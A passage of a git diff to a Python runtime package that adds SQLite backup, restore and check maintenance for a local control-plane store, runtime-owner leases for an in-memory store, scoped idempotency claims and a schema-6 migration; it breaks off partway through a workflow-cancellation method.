+_OWNER_NAME = "runtime-owner.lock" +_SIDECAR_SUFFIXES = ("-wal", "-shm", "-journal") +_UNCERTAIN_RESTORE_LEASES: list[RuntimeOwnerLease] = [] + + +class LocalStoreMaintenanceOperation(str, Enum): + """Closed local-provider maintenance operations.""" + + CHECK = "check" + BACKUP = "backup" + RESTORE = "restore" + + +class DestinationConflictPolicy(str, Enum): + """Explicit publication policy for an existing destination.""" + + REFUSE = "refuse" + REPLACE = "replace" + + +@dataclass(frozen=True) +class LocalStoreMaintenanceResult: + """Value-free maintenance result safe for machine-readable output.""" + + operation: LocalStoreMaintenanceOperation + + def to_payload(self) -> dict[str, str]: + return {"operation": self.operation.value, "outcome": "succeeded"} + + +def maintain_local_control_plane_store( + *, + operation: LocalStoreMaintenanceOperation, + store_path: Path, + target_name: str, + run_scope: str, + backup_path: Path | None = None, + conflict_policy: DestinationConflictPolicy = DestinationConflictPolicy.REFUSE, +) -> LocalStoreMaintenanceResult: + """Run one closed maintenance operation under runtime-exclusive authority.""" + + if not isinstance(operation, LocalStoreMaintenanceOperation): + raise TypeError("operation must be a LocalStoreMaintenanceOperation") + if not isinstance(conflict_policy, DestinationConflictPolicy): + raise TypeError("conflict_policy must be a DestinationConflictPolicy") + target_scope, normalized_run_scope = _normalized_scopes(target_name, run_scope) + if operation is LocalStoreMaintenanceOperation.CHECK: + _check_store(store_path, target_scope=target_scope, run_scope=normalized_run_scope) + elif operation is LocalStoreMaintenanceOperation.BACKUP: + if backup_path is None: + raise ValueError("backup operation requires a backup path") + _backup_store( + store_path, + backup_path, + target_scope=target_scope, + run_scope=normalized_run_scope, + conflict_policy=conflict_policy, + ) + else: + if backup_path is None: + raise ValueError("restore operation requires a backup path") + _restore_store( + store_path, + backup_path, + target_scope=target_scope, + run_scope=normalized_run_scope, + conflict_policy=conflict_policy, + ) + return LocalStoreMaintenanceResult(operation) + + +def _normalized_scopes(target_name: str, run_scope: str) -> tuple[str, str]: + target_scope = runtime_target_scope(target_name) + config = ControlPlaneConfiguration(run_scope=run_scope) + return target_scope, config.run_scope + + +@contextmanager +def _admitted_store( + store_path: Path, + *, + target_scope: str, + run_scope: str, +) -> Iterator[LocalControlPlaneStore]: + store = LocalControlPlaneStore(store_path) + lease = store.admit_maintenance(target_scope=target_scope, run_scope=run_scope) + try: + yield store + finally: + store.close() + lease.close() + + +def _check_store(store_path: Path, *, target_scope: str, run_scope: str) -> None: + with _admitted_store(store_path, target_scope=target_scope, run_scope=run_scope) as store: + store.load_snapshot_state() + store.load_records() + store.read_audit() + + +def _backup_store( + store_path: Path, + backup_path: Path, + *, + target_scope: str, + run_scope: str, + conflict_policy: DestinationConflictPolicy, +) -> None: + with _admitted_store(store_path, target_scope=target_scope, run_scope=run_scope) as store: + _prepare_destination(backup_path, conflict_policy=conflict_policy) + existing = _secure_database_file(backup_path, allow_missing=True) + if existing is not None and os.path.samestat(existing, store._database_path.lstat()): + raise ValueError("backup destination must differ from the admitted store") + with store._connection() as source: + _publish_backup( + source, + backup_path, + target_scope=target_scope, + run_scope=run_scope, + conflict_policy=conflict_policy, + ) + + +def _restore_store( + store_path: Path, + backup_path: Path, + *, + target_scope: str, + run_scope: str, + conflict_policy: DestinationConflictPolicy, +) -> None: + require_single_worker_configuration() + _secure_store_directory(store_path, reject_insecure_existing=True) + lease = RuntimeOwnerLease.acquire(store_path / _OWNER_NAME) + release_lease = True + try: + database_path = store_path / _DATABASE_NAME + existing = _secure_database_file(database_path, allow_missing=True) + if existing is not None and conflict_policy is DestinationConflictPolicy.REFUSE: + raise FileExistsError("restore destination already exists") + backup_metadata = _secure_database_file(backup_path, allow_missing=False) + assert backup_metadata is not None + if existing is not None and os.path.samestat(existing, backup_metadata): + raise ValueError("restore source must differ from the destination store") + working_path = _working_path(store_path, prefix=".restore-") + previous_copy: Path | None = None + published = False + try: + _copy_backup_to_working_database( + backup_path, + working_path, + target_scope=target_scope, + run_scope=run_scope, + ) + if existing is not None: + previous_copy = _retain_pre_restore_copy( + database_path, + store_path, + target_scope=target_scope, + run_scope=run_scope, + ) + _require_no_sidecars(database_path) + os.replace(working_path, database_path) + published = True + _fsync_regular_file(database_path) + _fsync_directory(store_path) + except BaseException: + if published: + try: + _rollback_restored_destination( + database_path, + previous_copy=previous_copy, + working_path=working_path, + directory=store_path, + ) + except Exception: + release_lease = False + _UNCERTAIN_RESTORE_LEASES.append(lease) + raise RuntimeError("local control-plane restore rollback could not be confirmed") from None + raise + finally: + working_path.unlink(missing_ok=True) + finally: + if release_lease: + lease.close() + + +def _rollback_restored_destination( + database_path: Path, + *, + previous_copy: Path | None, + working_path: Path, + directory: Path, +) -> None: + _require_no_sidecars(database_path) + if previous_copy is None: + os.replace(database_path, working_path) + else: + os.replace(previous_copy, database_path) + _fsync_regular_file(database_path) + _fsync_directory(directory) + + +def _prepare_destination(path: Path, *, conflict_policy: DestinationConflictPolicy) -> None: + _secure_store_directory(path.parent, reject_insecure_existing=True) + existing = _secure_database_file(path, allow_missing=True) + if existing is not None and conflict_policy is DestinationConflictPolicy.REFUSE: + raise FileExistsError("backup destination already exists") + _require_no_sidecars(path) + + +def _publish_backup( + source: sqlite3.Connection, + destination: Path, + *, + target_scope: str, + run_scope: str, + conflict_policy: DestinationConflictPolicy, +) -> None: + _prepare_destination(destination, conflict_policy=conflict_policy) + working_path = _working_path(destination.parent, prefix=".backup-") + try: + _backup_connection(source, working_path) + _validate_working_database( + working_path, + target_scope=target_scope, + run_scope=run_scope, + migrate=False, + ) + os.replace(working_path, destination) + _fsync_regular_file(destination) + _fsync_directory(destination.parent) + finally: + working_path.unlink(missing_ok=True) + + +def _copy_backup_to_working_database( + backup_path: Path, + working_path: Path, + *, + target_scope: str, + run_scope: str, +) -> None: + _secure_database_file(backup_path, allow_missing=False) + with _database_connection(backup_path, mode="ro", standalone=True) as source: + _backup_connection(source, working_path) + _validate_working_database( + working_path, + target_scope=target_scope, + run_scope=run_scope, + migrate=True, + ) + + +def _retain_pre_restore_copy( + database_path: Path, + store_path: Path, + *, + target_scope: str, + run_scope: str, +) -> Path: + stamp = "".join(character for character in _utc_now() if character.isdigit()) + destination = store_path / f"pre-restore-{stamp}.sqlite3" + with _database_connection(database_path, mode="rw") as source: + LocalControlPlaneStore._validate_persisted_state( + source, + target_scope=target_scope, + run_scope=run_scope, + ) + _publish_backup( + source, + destination, + target_scope=target_scope, + run_scope=run_scope, + conflict_policy=DestinationConflictPolicy.REFUSE, + ) + with _database_connection(destination, mode="rw", standalone=True) as retained: + if retained.execute("PRAGMA journal_mode=WAL").fetchone() != ("wal",): + raise RuntimeError("pre-restore copy could not retain WAL mode") + _fsync_regular_file(destination) + _fsync_directory(store_path) + return destination + + +def _validate_working_database( + path: Path, + *, + target_scope: str, + run_scope: str, + migrate: bool, +) -> None: + with _database_connection(path, mode="rw", standalone=True) as connection: + stored_target, stored_run = LocalControlPlaneStore._scope_metadata(connection) + if (stored_target, stored_run) != (target_scope, run_scope): + raise RuntimeError("local control-plane store scope does not match runtime admission") + if migrate: + with transaction(connection): + migrate_sqlite_schema(connection, decode_payload, encode_payload) + LocalControlPlaneStore._validate_persisted_state( + connection, + target_scope=target_scope, + run_scope=run_scope, + ) + journal_mode = connection.execute("PRAGMA journal_mode=DELETE").fetchone() + if journal_mode != ("delete",): + raise RuntimeError("maintenance copy could not enter standalone journal mode") + _secure_database_file(path, allow_missing=False) + _fsync_regular_file(path) + + +def _backup_connection(source: sqlite3.Connection, destination: Path) -> None: + with sqlite3.connect(destination) as target: + target.execute("PRAGMA synchronous=FULL") + source.backup(target) + target.commit() + if os.name != "nt": + os.chmod(destination, 0o600, follow_symlinks=False) + + +@contextmanager +def _database_connection( + path: Path, + *, + mode: str, + standalone: bool = False, +) -> Iterator[sqlite3.Connection]: + _secure_store_directory(path.parent, reject_insecure_existing=True) + directory_identity = path.parent.lstat() + before = _secure_database_file(path, allow_missing=False) + assert before is not None + _validate_sqlite_sidecars(path) + if standalone: + _require_no_sidecars(path) + sidecar_identities = _sidecar_identities(path) + uri = f"{path.absolute().as_uri()}?mode={mode}" + connection = sqlite3.connect(uri, isolation_level=None, uri=True) + try: + opened = _secure_database_file(path, allow_missing=False) + assert opened is not None + _require_same_file(before, opened, path, "SQLite opened it") + _validate_sqlite_sidecars(path) + connection.execute("PRAGMA foreign_keys=ON") + connection.execute("PRAGMA synchronous=FULL") + yield connection + finally: + connection.close() + after = _secure_database_file(path, allow_missing=False) + assert after is not None + _require_same_file(before, after, path, "SQLite was connected") + if not os.path.samestat(directory_identity, path.parent.lstat()): + raise RuntimeError("local control-plane maintenance directory changed during SQLite access") + _validate_sqlite_sidecars(path) + for suffix, original in sidecar_identities.items(): + current = Path(f"{path}{suffix}") + if current.exists(): + _require_same_file(original, current.lstat(), current, "SQLite was connected") + if not standalone: + for suffix in _SIDECAR_SUFFIXES: + if suffix not in sidecar_identities and Path(f"{path}{suffix}").exists(): + raise RuntimeError("local control-plane maintenance sidecar appeared during SQLite access") + if standalone: + _require_no_sidecars(path) + + +def _working_path(directory: Path, *, prefix: str) -> Path: + descriptor, raw_path = tempfile.mkstemp(prefix=prefix, suffix=".sqlite3", dir=directory) + os.close(descriptor) + path = Path(raw_path) + if os.name != "nt": + os.chmod(path, 0o600, follow_symlinks=False) + return path + + +def _require_no_sidecars(database_path: Path) -> None: + _validate_sqlite_sidecars(database_path) + if any(Path(f"{database_path}{suffix}").exists() for suffix in _SIDECAR_SUFFIXES): + raise RuntimeError("stale SQLite sidecar prevents restore publication") + + +def _sidecar_identities(database_path: Path) -> dict[str, os.stat_result]: + return { + suffix: Path(f"{database_path}{suffix}").lstat() + for suffix in _SIDECAR_SUFFIXES + if Path(f"{database_path}{suffix}").exists() + } + + +__all__ = ( + "DestinationConflictPolicy", + "LocalStoreMaintenanceOperation", + "LocalStoreMaintenanceResult", + "maintain_local_control_plane_store", +) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_memory.py b/implementations/python/packages/raes_runtime/control_plane_store_memory.py index c83566408..03b46a75c 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_memory.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_memory.py @@ -5,9 +5,13 @@ from threading import RLock from raes_contracts.participant_autonomous_state import require_participant_autonomous_runtime_snapshot -from raes_contracts.runtime_state import RuntimeSnapshot +from raes_contracts.runtime_state import OperationAdmissionContext, RuntimeSnapshot from . import control_plane_store as _store +from .control_plane_profiles import ( + ControlPlaneCapability, + ControlPlaneStoreCapabilities, +) from .control_plane_store_history import require_expected_control_head, require_expected_history_heads from .control_plane_store_revision import ( SnapshotRevisionConflict, @@ -17,9 +21,36 @@ ) +class _InMemoryRuntimeOwner: + """Process-local ownership handle for one explicitly selected P0 core.""" + + def __init__(self, store: InMemoryControlPlaneStore, token: object) -> None: + self._store = store + self._token = token + + def assert_owner(self) -> None: + self._store._assert_runtime_owner(self._token) + + def close(self) -> None: + self._store._release_runtime_owner(self._token) + + class InMemoryControlPlaneStore: """Simple in-memory store.""" + control_plane_capabilities = ControlPlaneStoreCapabilities( + frozenset( + { + ControlPlaneCapability.STORE_EPHEMERAL, + ControlPlaneCapability.STORE_ATOMIC_CLAIMS, + ControlPlaneCapability.STORE_ATOMIC_TERMINAL, + ControlPlaneCapability.STORE_REVISION_CAS, + ControlPlaneCapability.STORE_AUDIT, + ControlPlaneCapability.STORE_SCOPE_BOUND, + } + ) + ) + def __init__(self, snapshot: RuntimeSnapshot | None = None) -> None: self._lock = RLock() self._snapshot_state = SnapshotState( @@ -27,8 +58,35 @@ def __init__(self, snapshot: RuntimeSnapshot | None = None) -> None: revision=0, ) self._records: dict[str, _store.ControlPlaneOperationRecord] = {} - self._idempotency: dict[str, str] = {} + self._idempotency: dict[_store.IdempotencyClaimIdentity, str] = {} self._audit: list[_store.AuditEvent] = [] + self._bound_scope: tuple[str, str] | None = None + self._runtime_owner_token: object | None = None + + def bind_scope(self, *, target_scope: str, run_scope: str) -> _InMemoryRuntimeOwner: + """Admit one active owner and pin the store's target/run scope.""" + + with self._lock: + if self._runtime_owner_token is not None: + raise RuntimeError("in-memory control-plane store already has a runtime owner") + scope = (target_scope, run_scope) + if self._bound_scope is None: + self._bound_scope = scope + elif self._bound_scope != scope: + raise ValueError("in-memory control-plane store scope does not match runtime admission") + token = object() + self._runtime_owner_token = token + return _InMemoryRuntimeOwner(self, token) + + def _assert_runtime_owner(self, token: object) -> None: + with self._lock: + if self._runtime_owner_token is not token: + raise RuntimeError("in-memory control-plane runtime ownership has ended") + + def _release_runtime_owner(self, token: object) -> None: + with self._lock: + if self._runtime_owner_token is token: + self._runtime_owner_token = None def load_snapshot(self) -> RuntimeSnapshot: return self.load_snapshot_state().snapshot @@ -53,12 +111,30 @@ def save_record(self, record: _store.ControlPlaneOperationRecord) -> None: def claim_record( self, record: _store.ControlPlaneOperationRecord, + *, + legacy_request_fingerprint: str = "", + new_claim_blocked: _store.NewClaimBlock = None, ) -> _store.ControlPlaneOperationRecord: with self._lock: if record.idempotency_key: - existing = self.find_by_idempotency(record.idempotency_key) + _store.require_idempotency_key(record.idempotency_key) + claim_identity = _store.idempotency_claim_identity( + record.receipt.context, + record.idempotency_key, + ) + operation_id = self._idempotency.get(claim_identity) + existing = None if operation_id is None else self._records.get(operation_id) if existing is not None: + _store._require_same_idempotency_replay( + existing, + record, + legacy_request_fingerprint=legacy_request_fingerprint, + ) return existing + if new_claim_blocked: + _store._raise_new_claim_block(new_claim_blocked) + if _store.mixed_claim_conflicts(record, self._records.values()): + _store._raise_new_claim_block("current-state") self._save_record(record) return record @@ -132,14 +208,21 @@ def _terminal_snapshot( return self._snapshot_state return SnapshotState(snapshot=snapshot, revision=next_snapshot_revision(expected_revision)) - def _updated_idempotency(self, record: _store.ControlPlaneOperationRecord) -> dict[str, str]: + def _updated_idempotency( + self, + record: _store.ControlPlaneOperationRecord, + ) -> dict[_store.IdempotencyClaimIdentity, str]: idempotency = dict(self._idempotency) if not record.idempotency_key: return idempotency - existing_operation_id = idempotency.get(record.idempotency_key) + claim_identity = _store.idempotency_claim_identity( + record.receipt.context, + record.idempotency_key, + ) + existing_operation_id = idempotency.get(claim_identity) if existing_operation_id is not None and existing_operation_id != record.receipt.operation_id: raise ValueError(_store._IDEMPOTENCY_KEY_CONFLICT) - idempotency[record.idempotency_key] = record.receipt.operation_id + idempotency[claim_identity] = record.receipt.operation_id return idempotency def _publish( @@ -154,10 +237,27 @@ def _publish( self._idempotency = idempotency self._audit = [*self._audit, event] - def find_by_idempotency(self, key: str) -> _store.ControlPlaneOperationRecord | None: + def find_by_idempotency( + self, + key: str, + *, + context: OperationAdmissionContext | None = None, + ) -> _store.ControlPlaneOperationRecord | None: with self._lock: - operation_id = self._idempotency.get(key) - return None if operation_id is None else self._records.get(operation_id) + _store.require_idempotency_key(key) + if not key: + return None + if context is not None: + operation_id = self._idempotency.get(_store.idempotency_claim_identity(context, key)) + return None if operation_id is None else self._records.get(operation_id) + matches = [ + self._records[operation_id] + for (_actor_id, _operation_kind, claim_key), operation_id in self._idempotency.items() + if claim_key == key and operation_id in self._records + ] + if len(matches) > 1: + raise ValueError("idempotency lookup requires immutable operation context") + return matches[0] if matches else None def append_audit(self, event: _store.AuditEvent) -> None: with self._lock: diff --git a/implementations/python/packages/raes_runtime/control_plane_store_paths.py b/implementations/python/packages/raes_runtime/control_plane_store_paths.py index c31f29990..bcfa610fc 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_paths.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_paths.py @@ -56,15 +56,19 @@ def _require_safe_store_path_metadata( _require_safe_link_count(metadata, path, kind=kind) -def _secure_store_directory(path: Path) -> None: +def _secure_store_directory(path: Path, *, reject_insecure_existing: bool = False) -> None: + existed = True try: metadata = path.lstat() except FileNotFoundError: + existed = False path.mkdir(mode=_PRIVATE_DIRECTORY_MODE, parents=True, exist_ok=True) metadata = path.lstat() _require_safe_store_path_metadata(metadata, path, kind="directory") if os.name == "nt": return + if existed and reject_insecure_existing and stat.S_IMODE(metadata.st_mode) != _PRIVATE_DIRECTORY_MODE: + raise RuntimeError(f"local control-plane directory must use private permissions 0700: {path}") flags = os.O_RDONLY | getattr(os, "O_DIRECTORY", 0) | getattr(os, "O_CLOEXEC", 0) flags |= getattr(os, "O_NOFOLLOW", 0) descriptor = os.open(path, flags) @@ -187,6 +191,7 @@ def _participant_transition_count(snapshot: RuntimeSnapshot) -> int: snapshot.participant_control_history, snapshot.participant_crossing_history, snapshot.information_state_history, + snapshot.participant_outcome_history, ) for events in history.values() ) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_record_migration.py b/implementations/python/packages/raes_runtime/control_plane_store_record_migration.py index 236ab76f6..c31c10af3 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_record_migration.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_record_migration.py @@ -19,7 +19,13 @@ from .control_plane_store_records import _record_from_payload, _record_payload _MIGRATION_ID = "local-operation-record/v1-to-v2" -LOCAL_OPERATION_SCHEMA_VERSION = "3" +# Schema 6 is the first to carry the RUN-320 participant control evaluation +# history. A build that predates it refuses a schema-6 store rather than +# re-serializing its snapshot without that carrier, which is what keeps a +# retained modular claim from being silently erased by a downgrade round-trip. +LOCAL_OPERATION_SCHEMA_VERSION = "6" +_CONTROL_EVALUATION_CARRIER = "participant_control_evaluation_history" +_SNAPSHOT_KEY = "runtime-snapshot" _OPERATION_KINDS = { RuntimeDomain.PROVISIONING: OperationKind.PROVISIONING, RuntimeDomain.ORCHESTRATION: OperationKind.ORCHESTRATION, @@ -122,20 +128,62 @@ def migrate_sqlite_schema( encode_payload=encode_payload, ) _add_snapshot_revision_column(connection) - connection.execute( - "UPDATE metadata SET value=? WHERE key='schema-version'", - (LOCAL_OPERATION_SCHEMA_VERSION,), + _add_idempotency_claim_columns( + connection, + decode_payload=decode_payload, + encode_payload=encode_payload, ) - return - if row is not None and row[0] == "2": + elif row is not None and row[0] == "2": _add_snapshot_revision_column(connection) + _add_idempotency_claim_columns( + connection, + decode_payload=decode_payload, + encode_payload=encode_payload, + ) + elif row is not None and row[0] == "3": + _add_idempotency_claim_columns( + connection, + decode_payload=decode_payload, + encode_payload=encode_payload, + ) + elif row is None or row[0] not in {"4", "5", LOCAL_OPERATION_SCHEMA_VERSION}: + raise ValueError("unsupported local control-plane database schema") + _ensure_idempotency_claim_index(connection) + if row is not None and row[0] != LOCAL_OPERATION_SCHEMA_VERSION: + _initialize_control_evaluation_carrier( + connection, + decode_payload=decode_payload, + encode_payload=encode_payload, + ) connection.execute( "UPDATE metadata SET value=? WHERE key='schema-version'", (LOCAL_OPERATION_SCHEMA_VERSION,), ) + + +def _initialize_control_evaluation_carrier( + connection: sqlite3.Connection, + *, + decode_payload: Callable[..., dict[str, Any]], + encode_payload: Callable[[dict[str, Any]], tuple[str, str]], +) -> None: + """Record the evaluation carrier a pre-schema-6 snapshot never wrote. + + No build below schema 6 can have written a modular control evaluation, so a + predecessor snapshot's missing carrier is authoritatively empty rather than + unknown. Writing it explicitly at the upgrade makes that authority durable: + after this step every openable store carries it, and an older build can no + longer open the store to drop it. + """ + + row = connection.execute("SELECT payload, digest FROM state WHERE key=?", (_SNAPSHOT_KEY,)).fetchone() + if row is None: return - if row is None or row[0] != LOCAL_OPERATION_SCHEMA_VERSION: - raise ValueError("unsupported local control-plane database schema") + payload = decode_payload(row[0], row[1], kind="runtime snapshot") + if _CONTROL_EVALUATION_CARRIER in payload: + return + encoded, digest = encode_payload({**payload, _CONTROL_EVALUATION_CARRIER: {}}) + connection.execute("UPDATE state SET payload=?, digest=? WHERE key=?", (encoded, digest, _SNAPSHOT_KEY)) def _add_snapshot_revision_column(connection: sqlite3.Connection) -> None: @@ -144,6 +192,83 @@ def _add_snapshot_revision_column(connection: sqlite3.Connection) -> None: connection.execute("ALTER TABLE state ADD COLUMN revision INTEGER NOT NULL DEFAULT 0") +def _add_idempotency_claim_columns( + connection: sqlite3.Connection, + *, + decode_payload: Callable[..., dict[str, Any]], + encode_payload: Callable[[dict[str, Any]], tuple[str, str]], +) -> None: + columns = {row[1] for row in connection.execute("PRAGMA table_info(operations)").fetchall()} + text_columns = { + "actor_id": "ALTER TABLE operations ADD COLUMN actor_id TEXT NOT NULL DEFAULT ''", + "operation_kind": "ALTER TABLE operations ADD COLUMN operation_kind TEXT NOT NULL DEFAULT ''", + "target_scope": "ALTER TABLE operations ADD COLUMN target_scope TEXT NOT NULL DEFAULT ''", + "run_scope": "ALTER TABLE operations ADD COLUMN run_scope TEXT NOT NULL DEFAULT ''", + "request_commitment": ("ALTER TABLE operations ADD COLUMN request_commitment TEXT NOT NULL DEFAULT ''"), + } + for name, statement in text_columns.items(): + if name not in columns: + connection.execute(statement) + if "legacy_opaque_claim" not in columns: + connection.execute("ALTER TABLE operations ADD COLUMN legacy_opaque_claim INTEGER NOT NULL DEFAULT 0") + rows = connection.execute( + """ + SELECT operation_id, idempotency_key, payload, digest + FROM operations ORDER BY operation_id + """ + ).fetchall() + for operation_id, persisted_key, content, digest in rows: + record = _record_from_payload(decode_payload(content, digest, kind="operation record")) + if record.receipt.operation_id != operation_id: + raise ValueError("operation record identity does not match its durable key") + if record.idempotency_key != persisted_key: + raise ValueError("operation idempotency key does not match its durable index") + context = record.receipt.context + migrated_record = ControlPlaneOperationRecord( + receipt=record.receipt, + status=record.status, + request_fingerprint=context.request_commitment, + idempotency_key=record.idempotency_key, + result_payload=record.result_payload, + decision_history_heads=record.decision_history_heads, + result_history_heads=record.result_history_heads, + legacy_request_commitment=bool(record.idempotency_key), + ) + record_content, record_digest = encode_payload(_record_payload(migrated_record)) + legacy_opaque = int(record.idempotency_key.startswith(("participant-control:", "participant-crossing:"))) + connection.execute( + """ + UPDATE operations SET + actor_id=?, operation_kind=?, target_scope=?, run_scope=?, request_commitment=?, + legacy_opaque_claim=?, request_fingerprint=?, payload=?, digest=? + WHERE operation_id=? + """, + ( + context.actor_id, + context.operation_kind.value, + context.target_scope, + context.run_scope, + context.request_commitment, + legacy_opaque, + context.request_commitment, + record_content, + record_digest, + operation_id, + ), + ) + connection.execute("DROP INDEX IF EXISTS operations_idempotency_key") + + +def _ensure_idempotency_claim_index(connection: sqlite3.Connection) -> None: + connection.execute( + """ + CREATE UNIQUE INDEX IF NOT EXISTS operations_idempotency_claim + ON operations(actor_id, operation_kind, idempotency_key) + WHERE idempotency_key != '' + """ + ) + + def _required_mapping(payload: dict[str, Any], field: str) -> dict[str, Any]: value = payload.get(field) if not isinstance(value, dict): diff --git a/implementations/python/packages/raes_runtime/control_plane_store_records.py b/implementations/python/packages/raes_runtime/control_plane_store_records.py index db8a0348b..1202804d0 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_records.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_records.py @@ -10,6 +10,7 @@ from raes_contracts.diagnostics import Diagnostic, DiagnosticModel, portable_diagnostic_payload from raes_contracts.runtime_state import OperationReceipt, OperationStatus +from .control_plane_audit import require_audit_event_fields from .control_plane_store import AuditEvent, ControlPlaneOperationRecord @@ -40,6 +41,7 @@ class _OperationRecordModel(ContractModel): result_payload: dict[str, Any] | None decision_history_heads: dict[str, str | None] result_history_heads: dict[str, str | None] + legacy_request_commitment: bool = False @model_validator(mode="after") def _validate_shared_carrier_identity(self) -> _OperationRecordModel: @@ -71,6 +73,19 @@ class _AuditEventModel(ContractModel): reason: str details: dict[str, Any] + @model_validator(mode="after") + def _validate_bounded_fields(self) -> _AuditEventModel: + require_audit_event_fields( + timestamp=self.timestamp, + action=self.action, + identity=self.identity, + target=self.target, + operation_id=self.operation_id, + reason=self.reason, + details=self.details, + ) + return self + def _record_payload(record: ControlPlaneOperationRecord) -> dict[str, Any]: return { @@ -99,6 +114,7 @@ def _record_payload(record: ControlPlaneOperationRecord) -> dict[str, Any]: "result_payload": record.result_payload, "decision_history_heads": dict(record.decision_history_heads), "result_history_heads": dict(record.result_history_heads), + "legacy_request_commitment": record.legacy_request_commitment, } @@ -132,6 +148,7 @@ def _record_from_payload(payload: dict[str, Any]) -> ControlPlaneOperationRecord result_payload=carrier.result_payload, decision_history_heads=dict(carrier.decision_history_heads), result_history_heads=dict(carrier.result_history_heads), + legacy_request_commitment=carrier.legacy_request_commitment, ) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_snapshots.py b/implementations/python/packages/raes_runtime/control_plane_store_snapshots.py index 20b8d640a..153be877e 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_snapshots.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_snapshots.py @@ -95,6 +95,9 @@ def _realization_observations_payload(snapshot: RuntimeSnapshot) -> list[dict[st def _snapshot_payload(snapshot: RuntimeSnapshot) -> dict[str, Any]: require_participant_autonomous_runtime_snapshot(snapshot) snapshot_fields: dict[str, Any] = { + "materialization_attestations": [ + record.model_dump(mode="json") for record in snapshot.materialization_attestations + ], "entries": { address: { "address": entry.address, @@ -138,10 +141,21 @@ def _snapshot_payload(snapshot: RuntimeSnapshot) -> dict[str, Any]: participant_address: list(events) for participant_address, events in snapshot.participant_crossing_history.items() }, + "participant_control_evaluation_history": { + participant_address: list(records) + for participant_address, records in snapshot.participant_control_evaluation_history.items() + }, + "mixed_composition_states": dict(snapshot.mixed_composition_states), + "mixed_composition_history": { + run_id: list(events) for run_id, events in snapshot.mixed_composition_history.items() + }, "information_state_history": { participant_address: list(records) for participant_address, records in snapshot.information_state_history.items() }, + "participant_outcome_history": { + address: list(records) for address, records in snapshot.participant_outcome_history.items() + }, "participant_autonomous_execution_states": dict(snapshot.participant_autonomous_execution_states), "participant_execution_services": dict(snapshot.participant_execution_services), "participant_resource_budget_states": dict(snapshot.participant_resource_budget_states), @@ -221,7 +235,13 @@ def _realization_provenance_from_payload(payload: dict[str, Any]) -> tuple[Reali def _snapshot_from_payload(payload: dict[str, Any]) -> RuntimeSnapshot: + from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord + snapshot_fields: dict[str, Any] = { + "materialization_attestations": tuple( + MaterializationArchiveRecord.model_validate(record) + for record in payload.get("materialization_attestations", []) + ), "entries": _snapshot_entries_from_payload(payload), "orchestration_results": dict(payload.get("orchestration_results", {})), "orchestration_history": { @@ -253,10 +273,21 @@ def _snapshot_from_payload(payload: dict[str, Any]) -> RuntimeSnapshot: participant_address: list(events) for participant_address, events in payload.get("participant_crossing_history", {}).items() }, + "participant_control_evaluation_history": { + participant_address: list(records) + for participant_address, records in payload.get("participant_control_evaluation_history", {}).items() + }, + "mixed_composition_states": dict(payload.get("mixed_composition_states", {})), + "mixed_composition_history": { + run_id: list(events) for run_id, events in payload.get("mixed_composition_history", {}).items() + }, "information_state_history": { participant_address: list(records) for participant_address, records in payload.get("information_state_history", {}).items() }, + "participant_outcome_history": { + address: list(records) for address, records in payload.get("participant_outcome_history", {}).items() + }, "participant_autonomous_execution_states": dict(payload.get("participant_autonomous_execution_states", {})), "participant_execution_services": dict(payload.get("participant_execution_services", {})), "participant_resource_budget_states": dict(payload.get("participant_resource_budget_states", {})), diff --git a/implementations/python/packages/raes_runtime/control_plane_workflow_control.py b/implementations/python/packages/raes_runtime/control_plane_workflow_control.py index f259dbdd9..04928a86f 100644 --- a/implementations/python/packages/raes_runtime/control_plane_workflow_control.py +++ b/implementations/python/packages/raes_runtime/control_plane_workflow_control.py @@ -34,8 +34,15 @@ ) from .control_plane_lifecycle import runtime_owned from .control_plane_mutation import control_plane_mutation, mutation_entry -from .control_plane_operation_context import operation_admission_context -from .control_plane_store import ControlPlaneOperationRecord, TerminalCommitMode +from .control_plane_operation_context import ( + legacy_operation_request_commitment, + operation_admission_context, +) +from .control_plane_store import ( + ControlPlaneOperationRecord, + NewClaimRejected, + TerminalCommitMode, +) from .control_plane_timeouts import _reconciliation_clock, workflow_timeout_update from .control_plane_workflows import maybe_apply_compensation @@ -71,22 +78,24 @@ def cancel_workflow( identity=identity, run_scope=f"run:{run_id}" if run_id else None, ) - existing = self._idempotent_receipt( - idempotency_key=idempotency_key, - request_fingerprint=operation_context.request_commitment, - context=operation_context, - ) - if existing is not None: - return existing - candidate = self._cancellable_workflow_state( - workflow_address, + candidate = self._cancellable_workflow_state(workflow_address, run_id=run_id) + incumbent = self._probe_workflow_cancellation_incumbent( + operation_context=operation_context, + workflow_address=workflow_address, run_id=run_id, + reason=reason, idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, - operation_context=operation_context, ) - if isinstance(candidate, OperationReceipt): - return candidate + if incumbent is not None: + return incumbent + if isinstance(candidate, str): + return self._reject_submission( + domain=RuntimeDomain.ORCHESTRATION, + message=candidate, + idempotency_key=idempotency_key, + request_fingerprint=request_fingerprint, + context=operation_context, + ) with control_plane_mutation(self, OperationKind.WORKFLOW_CANCELLATION): with self._operation_lock: self._reload_derived_state() @@ -99,6 +108,54 @@ def cancel_workflow( identity=identity, ) + def _probe_workflow_cancellation_incumbent( + self, + *, + operation_context: OperationAdmissionContext, + workflow_address: str, + run_id: str | None, + reason: str, + idempotency_key: str, + ) -> OperationReceipt | None: + operation_id = str(uuid4()) + submitted_at = _utc_now() + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.ORCHESTRATION, + submitted_at=submitted_at, + accepted=True, + context=operation_context, + ) + running = OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.ORCHESTRATION, + state=OperationState.RUNNING, + submitted_at=submitted_at, + updated_at=submitted_at, + context=operation_context, + ) + try: + claimed = self._claim_record( + ControlPlaneOperationRecord( + receipt=receipt, + status=running, + idempotency_key=idempotency_key, + request_fingerprint=operation_context.request_commitment, + ), + 